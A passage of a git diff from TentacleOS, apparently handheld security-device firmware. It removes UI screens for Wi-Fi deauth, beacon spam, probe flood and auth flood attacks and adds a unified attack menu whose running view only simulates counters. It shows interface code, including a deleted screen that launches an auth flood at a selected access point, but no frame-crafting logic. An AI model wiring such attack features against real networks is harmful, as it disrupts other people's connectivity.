the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef WIFI_AUTH_FLOOD_UI_H -#define WIFI_AUTH_FLOOD_UI_H - -#ifdef __cplusplus -extern "C" { -#endif - -/** @brief Open the Wi-Fi auth flood screen. */ -void ui_wifi_auth_flood_open(void); - -#ifdef __cplusplus -} -#endif - -#endif // WIFI_AUTH_FLOOD_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_beacon_spam_simple_ui.h b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_beacon_spam_simple_ui.h deleted file mode 100644 index ad5102f59..000000000 --- a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_beacon_spam_simple_ui.h +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef WIFI_BEACON_SPAM_SIMPLE_UI_H -#define WIFI_BEACON_SPAM_SIMPLE_UI_H - -#ifdef __cplusplus -extern "C" { -#endif - -/** @brief Open the Wi-Fi beacon spam simple screen. */ -void ui_wifi_beacon_spam_simple_open(void); - -#ifdef __cplusplus -} -#endif - -#endif // WIFI_BEACON_SPAM_SIMPLE_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_beacon_spam_ui.h b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_beacon_spam_ui.h deleted file mode 100644 index d1abd1d6e..000000000 --- a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_beacon_spam_ui.h +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef WIFI_BEACON_SPAM_UI_H -#define WIFI_BEACON_SPAM_UI_H - -#ifdef __cplusplus -extern "C" { -#endif - -/** @brief Open the Wi-Fi beacon spam screen. */ -void ui_wifi_beacon_spam_open(void); - -#ifdef __cplusplus -} -#endif - -#endif // WIFI_BEACON_SPAM_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_deauth_attack_ui.h b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_deauth_attack_ui.h deleted file mode 100644 index 447e314d6..000000000 --- a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_deauth_attack_ui.h +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef WIFI_DEAUTH_ATTACK_UI_H -#define WIFI_DEAUTH_ATTACK_UI_H - -#ifdef __cplusplus -extern "C" { -#endif - -/** @brief Open the Wi-Fi deauth attack screen. */ -void ui_wifi_deauth_attack_open(void); - -#ifdef __cplusplus -} -#endif - -#endif // WIFI_DEAUTH_ATTACK_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_deauth_ui.h b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_deauth_ui.h deleted file mode 100644 index ed6b72984..000000000 --- a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_deauth_ui.h +++ /dev/null @@ -1,41 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef WIFI_DEAUTH_UI_H -#define WIFI_DEAUTH_UI_H - -#include "esp_wifi_types.h" - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Set the target AP for deauth attack. - * - * @param ap Pointer to the target AP record. Must not be NULL. - */ -void ui_wifi_deauth_set_target(wifi_ap_record_t *ap); - -/** - * @brief Open the Wi-Fi deauth screen. - */ -void ui_wifi_deauth_open(void); - -#ifdef __cplusplus -} -#endif - -#endif // WIFI_DEAUTH_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_probe_flood_ui.h b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_probe_flood_ui.h deleted file mode 100644 index c8299dd0b..000000000 --- a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_probe_flood_ui.h +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef WIFI_PROBE_FLOOD_UI_H -#define WIFI_PROBE_FLOOD_UI_H - -#ifdef __cplusplus -extern "C" { -#endif - -/** @brief Open the Wi-Fi probe flood screen. */ -void ui_wifi_probe_flood_open(void); - -#ifdef __cplusplus -} -#endif - -#endif // WIFI_PROBE_FLOOD_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_sniffer_attack_ui.h b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_sniffer_attack_ui.h deleted file mode 100644 index 0a32abf41..000000000 --- a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_sniffer_attack_ui.h +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef WIFI_SNIFFER_ATTACK_UI_H -#define WIFI_SNIFFER_ATTACK_UI_H - -#ifdef __cplusplus -extern "C" { -#endif - -/** @brief Open the Wi-Fi sniffer attack screen. */ -void ui_wifi_sniffer_attack_open(void); - -#ifdef __cplusplus -} -#endif - -#endif // WIFI_SNIFFER_ATTACK_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/wifi/wifi_attack_menu_ui.c b/firmware_p4/components/Applications/ui/screens/wifi/wifi_attack_menu_ui.c deleted file mode 100644 index 80c5df6b5..000000000 --- a/firmware_p4/components/Applications/ui/screens/wifi/wifi_attack_menu_ui.c +++ /dev/null @@ -1,120 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "wifi_attack_menu_ui.h" - -#include "esp_log.h" - -#include "ui_theme.h" -#include "menu_component_ui.h" -#include "ui_manager.h" -#include "lv_port_indev.h" -#include "buttons_gpio.h" - -static const char *TAG = "WIFI_ATTACK_MENU_UI"; - -#define NAV_TIMER_PERIOD_MS 50 -#define MENU_ICON_PATH "/assets/icons/wifi_menu_icon.bin" - -typedef struct { - const char *name; - const char *icon; - int target; -} wifi_attack_item_t; - -static const wifi_attack_item_t ITEMS[] = { - {"DEAUTH ATTACK", NULL, SCREEN_WIFI_DEAUTH_ATTACK}, - {"BEACON SPAM", NULL, SCREEN_WIFI_BEACON_SPAM_SIMPLE}, - {"PROBE FLOOD", NULL, SCREEN_WIFI_PROBE_FLOOD}, - {"AUTH FLOOD", NULL, SCREEN_WIFI_AUTH_FLOOD}, -}; -#define ITEM_COUNT (sizeof(ITEMS) / sizeof(ITEMS[0])) - -static lv_obj_t *s_screen = NULL; -static menu_component_t s_menu; -static lv_timer_t *s_nav_timer = NULL; - -static bool s_btn_up_last = false; -static bool s_btn_down_last = false; -static bool s_btn_left_last = false; -static bool s_btn_right_last = false; -static bool s_btn_ok_last = false; -static bool s_btn_back_last = false; - -static void nav_timer_cb(lv_timer_t *t); - -static void nav_timer_cb(lv_timer_t *t) { - if (lv_screen_active() != s_screen) { - lv_timer_delete(t); - s_nav_timer = NULL; - return; - } - if (ui_input_is_locked()) - return; - - bool up = up_button_is_down(); - bool down = down_button_is_down(); - bool left = left_button_is_down(); - bool right = right_button_is_down(); - bool ok = ok_button_is_down(); - bool back = back_button_is_down(); - - if (down && !s_btn_down_last) - menu_component_next(&s_menu); - - if (up && !s_btn_up_last) - menu_component_prev(&s_menu); - - if ((back && !s_btn_back_last) || (left && !s_btn_left_last)) { - ui_switch_screen(SCREEN_WIFI_MENU); - return; - } - - if ((ok && !s_btn_ok_last) || (right && !s_btn_right_last)) { - int sel = menu_component_get_selected(&s_menu); - if (sel >= 0 && (size_t)sel < ITEM_COUNT) - ui_switch_screen(ITEMS[sel].target); - } - - s_btn_up_last = up; - s_btn_down_last = down; - s_btn_left_last = left; - s_btn_right_last = right; - s_btn_ok_last = ok; - s_btn_back_last = back; -} - -void ui_wifi_attack_menu_open(void) { - if (s_screen != NULL) { - lv_obj_del(s_screen); - s_screen = NULL; - } - - s_screen = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); - lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); - lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - - s_menu = menu_component_create(s_screen, "ATTACKS", MENU_ICON_PATH); - - for (size_t i = 0; i < ITEM_COUNT; i++) { - menu_component_add_item(&s_menu, MENU_ICON_PATH, ITEMS[i].name); - } - - if (s_nav_timer == NULL) - s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_PERIOD_MS, NULL); - - lv_screen_load(s_screen); -} \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/wifi/wifi_attack_ui.c b/firmware_p4/components/Applications/ui/screens/wifi/wifi_attack_ui.c new file mode 100644 index 000000000..912d3ef42 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/wifi/wifi_attack_ui.c @@ -0,0 +1,325 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "wifi_attack_ui.h" + +#include "esp_log.h" +#include "st7789.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "msgbox_ui.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" +#include "waves_ui.h" + +static const char *TAG = "WIFI_ATTACK_UI"; + +#define NAV_TIMER_INTERVAL_MS 50 +#define ATTACK_TICK_MS 140 + +#define OUTER_BORDER 4 +#define TOP_BORDER_H 46 +#define TOP_AREA_BORDER_WIDTH 3 +#define TITLE_BAR_W 170 +#define TITLE_BAR_H 30 +#define TITLE_BAR_RADIUS 12 +#define TITLE_BAR_BORDER_WIDTH 2 + +typedef struct { + const char *name; + const char *counter_label; + int step; + const char *target_ssid; + int target_ch; +} attack_def_t; + +static const attack_def_t ATTACKS[] = { + {"Deauth", "Deauth sent", 3, "HOME-5G", 6}, + {"Beacon Spam", "Beacons", 11, "", 1}, + {"Probe Flood", "Probes", 7, "Cafe_Guest", 11}, + {"Auth Flood", "Auth", 5, "Office-WiFi", 3}, + {"Karma", "Probes", 4, "", 9}, +}; +#define ATTACKS_COUNT (sizeof(ATTACKS) / sizeof(ATTACKS[0])) + +typedef enum { + VIEW_LIST, + VIEW_RUNNING, +} view_t; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; +static lv_timer_t *s_attack_timer = NULL; + +static view_t s_view = VIEW_LIST; +static int s_attack_idx = 0; +static long s_count = 0; +static long s_count_prev = 0; +static lv_obj_t *s_count_label = NULL; +static lv_obj_t *s_rate_label = NULL; +static lv_obj_t *s_waves = NULL; +static int s_tick_accum = 0; + +static bool s_btn_up_last = false; +static bool s_btn_down_last = false; +static bool s_btn_left_last = false; +static bool s_btn_ok_last = false; +static bool s_btn_back_last = false; + +static void nav_timer_cb(lv_timer_t *timer); +static void attack_tick_cb(lv_timer_t *timer); +static void build_list_view(void); +static void build_running_view(int idx); +static void stop_attack_timer(void); + +static void fade_in(lv_obj_t *obj, uint32_t ms) { + if (obj != NULL) + lv_obj_fade_in(obj, ms, 0); +} + +static void blink_opa_cb(void *var, int32_t v) { + lv_obj_set_style_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} + +static void attach_blink(lv_obj_t *obj, uint32_t period_ms) { + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, obj); + lv_anim_set_exec_cb(&a, blink_opa_cb); + lv_anim_set_values(&a, LV_OPA_COVER, LV_OPA_30); + lv_anim_set_duration(&a, period_ms); + lv_anim_set_playback_duration(&a, period_ms); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_start(&a); +} + +static void scanbar_x_cb(void *var, int32_t v) { + lv_obj_set_x((lv_obj_t *)var, v); +} + +void ui_wifi_attack_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_attack_timer = NULL; + s_view = VIEW_LIST; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + build_list_view(); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); + + ui_screen_load(s_screen); +} + +static void clear_screen_children(void) { + lv_obj_clean(s_screen); + s_count_label = NULL; + s_rate_label = NULL; + s_waves = NULL; +} + +static void build_list_view(void) { + clear_screen_children(); + lv_obj_set_style_border_width(s_screen, 0, 0); + lv_obj_set_style_pad_all(s_screen, 0, 0); + + s_menu = menu_component_create(s_screen, "ATTACKS", "/assets/icons/spam_icon.bin"); + for (size_t i = 0; i < ATTACKS_COUNT; i++) + menu_component_add_item(&s_menu, NULL, ATTACKS[i].name); + + fade_in(s_menu.title_bar, 200); + fade_in(s_menu.items_cont, 200); + + s_view = VIEW_LIST; +} + +static void build_running_view(int idx) { + stop_attack_timer(); + clear_screen_children(); + + s_attack_idx = idx; + s_count = 0; + s_count_prev = 0; + s_tick_accum = 0; + + lv_obj_set_style_border_width(s_screen, 0, 0); + lv_obj_set_style_pad_all(s_screen, 0, 0); + + lv_obj_t *header = ui_chrome_header(s_screen, ATTACKS[idx].name, "/assets/icons/spam_icon.bin"); + + lv_obj_t *status_label = lv_label_create(s_screen); + lv_label_set_text(status_label, "Running..."); + lv_obj_set_style_text_color(status_label, current_theme.text_main, 0); + lv_obj_set_style_text_font(status_label, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_align(status_label, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(status_label, LV_ALIGN_TOP_MID, 0, UI_CHROME_HEADER_H + 8); + + lv_obj_t *target_label = lv_label_create(s_screen); + lv_label_set_text_fmt( + target_label, "AP: %s CH %d", ATTACKS[idx].target_ssid, ATTACKS[idx].target_ch); + lv_obj_set_style_text_color(target_label, current_theme.text_main, 0); + lv_obj_set_style_text_font(target_label, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_align(target_label, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(target_label, LV_ALIGN_TOP_MID, 0, UI_CHROME_HEADER_H + 30); + + s_waves = waves_create(s_screen, LV_ALIGN_CENTER, 0, 14, LV_SYMBOL_WIFI, NULL); + + lv_obj_t *scan_track = lv_obj_create(s_screen); + lv_obj_set_size(scan_track, 150, 6); + lv_obj_remove_flag(scan_track, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(scan_track, 3, 0); + lv_obj_set_style_bg_color(scan_track, current_theme.border_inactive, 0); + lv_obj_set_style_bg_opa(scan_track, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(scan_track, 0, 0); + lv_obj_set_style_pad_all(scan_track, 0, 0); + lv_obj_align(scan_track, LV_ALIGN_BOTTOM_MID, 0, -64); + + lv_obj_t *scan_fill = lv_obj_create(scan_track); + lv_obj_set_size(scan_fill, 44, 6); + lv_obj_remove_flag(scan_fill, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(scan_fill, 3, 0); + lv_obj_set_style_bg_color(scan_fill, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(scan_fill, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(scan_fill, 0, 0); + lv_obj_set_y(scan_fill, 0); + { + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, scan_fill); + lv_anim_set_exec_cb(&a, scanbar_x_cb); + lv_anim_set_values(&a, 0, 150 - 44); + lv_anim_set_duration(&a, 900); + lv_anim_set_playback_duration(&a, 900); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); + lv_anim_start(&a); + } + + s_count_label = lv_label_create(s_screen); + lv_label_set_text_fmt(s_count_label, "%s: %ld", ATTACKS[idx].counter_label, s_count); + lv_obj_set_style_text_color(s_count_label, current_theme.border_accent, 0); + lv_obj_set_style_text_font(s_count_label, &lv_font_montserrat_16, 0); + lv_obj_set_style_text_align(s_count_label, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(s_count_label, LV_ALIGN_BOTTOM_MID, 0, -42); + + s_rate_label = lv_label_create(s_screen); + lv_label_set_text(s_rate_label, "rate: 0/s"); + lv_obj_set_style_text_color(s_rate_label, current_theme.text_main, 0); + lv_obj_set_style_text_font(s_rate_label, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_align(s_rate_label, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(s_rate_label, LV_ALIGN_BOTTOM_MID, 0, -28); + + ui_chrome_footer(s_screen, "BACK to stop"); + + fade_in(header, 200); + fade_in(status_label, 200); + fade_in(target_label, 200); + fade_in(s_count_label, 200); + fade_in(s_rate_label, 200); + + s_view = VIEW_RUNNING; + s_attack_timer = lv_timer_create(attack_tick_cb, ATTACK_TICK_MS, NULL); +} + +static void stop_attack_timer(void) { + if (s_attack_timer != NULL) { + lv_timer_delete(s_attack_timer); + s_attack_timer = NULL; + } +} + +static void attack_tick_cb(lv_timer_t *timer) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(timer); + if (s_attack_timer == timer) + s_attack_timer = NULL; + return; + } + if (s_view != VIEW_RUNNING || s_count_label == NULL) + return; + + s_count += ATTACKS[s_attack_idx].step; + lv_label_set_text_fmt(s_count_label, "%s: %ld", ATTACKS[s_attack_idx].counter_label, s_count); + + s_tick_accum++; + int ticks_per_sec = (1000 + ATTACK_TICK_MS - 1) / ATTACK_TICK_MS; + if (s_tick_accum >= ticks_per_sec && s_rate_label != NULL) { + long delta = s_count - s_count_prev; + long per_sec = delta * 1000 / (s_tick_accum * ATTACK_TICK_MS); + lv_label_set_text_fmt(s_rate_label, "rate: %ld/s", per_sec); + s_count_prev = s_count; + s_tick_accum = 0; + } +} + +static void nav_timer_cb(lv_timer_t *timer) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(timer); + s_nav_timer = NULL; + stop_attack_timer(); + return; + } + if (ui_input_is_locked()) + return; + if (msgbox_is_open()) + return; + + bool is_up = ui_btn_up(); + bool is_down = ui_btn_down(); + bool is_left = ui_btn_left(); + bool is_ok = ok_button_is_down(); + bool is_back = back_button_is_down(); + + if (s_view == VIEW_LIST) { + if (is_down && !s_btn_down_last) + menu_component_next(&s_menu); + + if (is_up && !s_btn_up_last) + menu_component_prev(&s_menu); + + if ((is_back && !s_btn_back_last) || (is_left && !s_btn_left_last)) + ui_switch_screen(SCREEN_WIFI_MENU); + + if (is_ok && !s_btn_ok_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0 && sel < (int)ATTACKS_COUNT) { + ESP_LOGI(TAG, "mock attack start: %s", ATTACKS[sel].name); + build_running_view(sel); + } + } + } else { + if ((is_back && !s_btn_back_last) || (is_left && !s_btn_left_last)) { + stop_attack_timer(); + ESP_LOGI(TAG, "mock attack stopped: %s", ATTACKS[s_attack_idx].name); + build_list_view(); + } + } + + s_btn_up_last = is_up; + s_btn_down_last = is_down; + s_btn_left_last = is_left; + s_btn_ok_last = is_ok; + s_btn_back_last = is_back; +} diff --git a/firmware_p4/components/Applications/ui/screens/wifi/wifi_auth_flood_ui.c b/firmware_p4/components/Applications/ui/screens/wifi/wifi_auth_flood_ui.c deleted file mode 100644 index 6644e7ab5..000000000 --- a/firmware_p4/components/Applications/ui/screens/wifi/wifi_auth_flood_ui.c +++ /dev/null @@ -1,387 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "wifi_auth_flood_ui.h" - -#include "lvgl.h" -#include "core/lv_group.h" - -#include "ui_theme.h" -#include "header_ui.h" -#include "footer_ui.h" -#include "ui_manager.h" -#include "lv_port_indev.h" -#include "wifi_service.h" -#include "wifi_flood.h" -#include "button_ui.h" - -#define LIST_CONT_W 230 -#define LIST_CONT_H 160 -#define LIST_CONT_OFFSET_Y 10 -#define LIST_ITEM_H 40 -#define LIST_ITEM_BORDER_W 1 -#define LIST_ITEM_BORDER_SEL 2 -#define LIST_ITEM_LABEL_MARGIN_L 8 - -#define ATTACK_BTN_W 170 -#define ATTACK_BTN_H 45 -#define ATTACK_BTN_OFFSET_Y 10 -#define TARGET_LABEL_OFFSET_Y 30 -#define ATTEMPTS_LABEL_OFFSET_Y (-35) - -#define ATTEMPTS_TICK_MS 200 -#define ATTEMPTS_PER_TICK 10 - -#define TARGET_LABEL_FMT "Target: %s CH:%d" -#define ATTEMPTS_LABEL_FMT "Attempts: %lu" -#define BTN_LABEL_RUNNING "FLOODING..." -#define BTN_LABEL_IDLE "START FLOOD" - -typedef enum { - AUTH_FLOOD_VIEW_APS = 0, - AUTH_FLOOD_VIEW_ATTACK = 1, -} auth_flood_view_t; - -extern lv_group_t *main_group; - -static lv_obj_t *s_screen = NULL; -static lv_obj_t *s_list_cont = NULL; -static lv_obj_t *s_loading_label = NULL; -static lv_obj_t *s_lbl_target = NULL; -static lv_obj_t *s_btn_attack = NULL; -static lv_obj_t *s_lbl_attempts = NULL; -static lv_style_t s_style_menu; -static lv_style_t s_style_item; -static bool s_styles_initialized = false; - -static auth_flood_view_t s_current_view = AUTH_FLOOD_VIEW_APS; -static wifi_ap_record_t s_selected_ap; -static bool s_is_running = false; -static uint32_t s_attempts_count = 0; -static lv_timer_t *s_attempts_timer = NULL; - -static void list_event_cb(lv_event_t *e); -static void init_styles(void); -static void clear_list(void); -static void set_loading(const char *text); -static void clear_loading(void); -static void update_attack_labels(void); -static void attempts_tick_cb(lv_timer_t *t); -static void stop_attack(void); -static void start_attack(void); -static void show_attack_view(void); -static void on_item_event(lv_event_t *e); -static void populate_ap_list(wifi_ap_record_t *results, uint16_t count); -static void scan_and_populate(void); - -static void init_styles(void) { - if (s_styles_initialized) - return; - - lv_style_init(&s_style_menu); - lv_style_set_bg_color(&s_style_menu, current_theme.screen_base); - lv_style_set_bg_opa(&s_style_menu, LV_OPA_COVER); - lv_style_set_border_width(&s_style_menu, 2); - lv_style_set_border_color(&s_style_menu, current_theme.border_interface); - lv_style_set_radius(&s_style_menu, 0); - lv_style_set_pad_all(&s_style_menu, 4); - - lv_style_init(&s_style_item); - lv_style_set_bg_color(&s_style_item, current_theme.bg_item_bot); - lv_style_set_bg_grad_color(&s_style_item, current_theme.bg_item_top); - lv_style_set_bg_grad_dir(&s_style_item, LV_GRAD_DIR_VER); - lv_style_set_border_width(&s_style_item, LIST_ITEM_BORDER_W); - lv_style_set_border_color(&s_style_item, current_theme.border_inactive); - lv_style_set_radius(&s_style_item, 0); - - s_styles_initialized = true; -} - -static void clear_list(void) { - if (s_list_cont == NULL) - return; - - uint32_t count = lv_obj_get_child_count(s_list_cont); - for (uint32_t i = 0; i < count; i++) - lv_obj_del(lv_obj_get_child(s_list_cont, 0)); - - if (main_group != NULL) - lv_group_remove_all_objs(main_group); -} - -static void set_loading(const char *text) { - if (s_loading_label == NULL) { - s_loading_label = lv_label_create(s_screen); - lv_obj_set_style_text_color(s_loading_label, current_theme.text_main, 0); - lv_obj_center(s_loading_label); - } - lv_label_set_text(s_loading_label, text); -} - -static void clear_loading(void) { - if (s_loading_label != NULL) { - lv_obj_del(s_loading_label); - s_loading_label = NULL; - } -} - -static void update_attack_labels(void) { - if (s_lbl_target != NULL) - lv_label_set_text_fmt( - s_lbl_target, TARGET_LABEL_FMT, s_selected_ap.ssid, s_selected_ap.primary); - - if (s_lbl_attempts != NULL) - lv_label_set_text_fmt(s_lbl_attempts, ATTEMPTS_LABEL_FMT, (unsigned long)s_attempts_count); - - if (s_btn_attack != NULL) { - lv_label_set_text(lv_obj_get_child(s_btn_attack, 0), - s_is_running ? BTN_LABEL_RUNNING : BTN_LABEL_IDLE); - lv_obj_set_style_bg_color(s_btn_attack, current_theme.border_accent, 0); - } -} - -static void attempts_tick_cb(lv_timer_t *t) { - if (!s_is_running) - return; - s_attempts_count += ATTEMPTS_PER_TICK; - update_attack_labels(); -} - -static void stop_attack(void) { - if (s_is_running) { - wifi_flood_stop(); - s_is_running = false; - } - if (s_attempts_timer != NULL) { - lv_timer_del(s_attempts_timer); - s_attempts_timer = NULL; - } -} - -static void start_attack(void) { - if (!wifi_flood_auth_start(s_selected_ap.bssid, s_selected_ap.primary)) - return; - - s_is_running = true; - - if (s_attempts_timer != NULL) - lv_timer_del(s_attempts_timer); - - s_attempts_timer = lv_timer_create(attempts_tick_cb, ATTEMPTS_TICK_MS, NULL); -} - -static void show_attack_view(void) { - clear_list(); - clear_loading(); - - s_current_view = AUTH_FLOOD_VIEW_ATTACK; - s_is_running = false; - s_attempts_count = 0; - - if (s_lbl_target != NULL) { - lv_obj_del(s_lbl_target); - s_lbl_target = NULL; - } - if (s_btn_attack != NULL) { - lv_obj_del(s_btn_attack); - s_btn_attack = NULL; - } - if (s_lbl_attempts != NULL) { - lv_obj_del(s_lbl_attempts); - s_lbl_attempts = NULL; - } - - s_lbl_target = lv_label_create(s_screen); - lv_obj_set_style_text_color(s_lbl_target, current_theme.text_main, 0); - lv_obj_align(s_lbl_target, LV_ALIGN_TOP_MID, 0, TARGET_LABEL_OFFSET_Y); - - button_ui_t btn_ui = - button_ui_create(s_screen, ATTACK_BTN_W, ATTACK_BTN_H, BTN_LABEL_IDLE, NULL, NULL); - s_btn_attack = btn_ui.obj; - lv_obj_align(s_btn_attack, LV_ALIGN_CENTER, 0, ATTACK_BTN_OFFSET_Y); - lv_obj_add_event_cb(s_btn_attack, list_event_cb, LV_EVENT_KEY, NULL); - - s_lbl_attempts = lv_label_create(s_screen); - lv_obj_set_style_text_color(s_lbl_attempts, current_theme.text_main, 0); - lv_obj_align(s_lbl_attempts, LV_ALIGN_BOTTOM_MID, 0, ATTEMPTS_LABEL_OFFSET_Y); - - update_attack_labels(); - - if (main_group != NULL) { - lv_group_remove_all_objs(main_group); - lv_group_add_obj(main_group, s_btn_attack); - lv_group_focus_obj(s_btn_attack); - } -} - -static void on_item_event(lv_event_t *e) { - 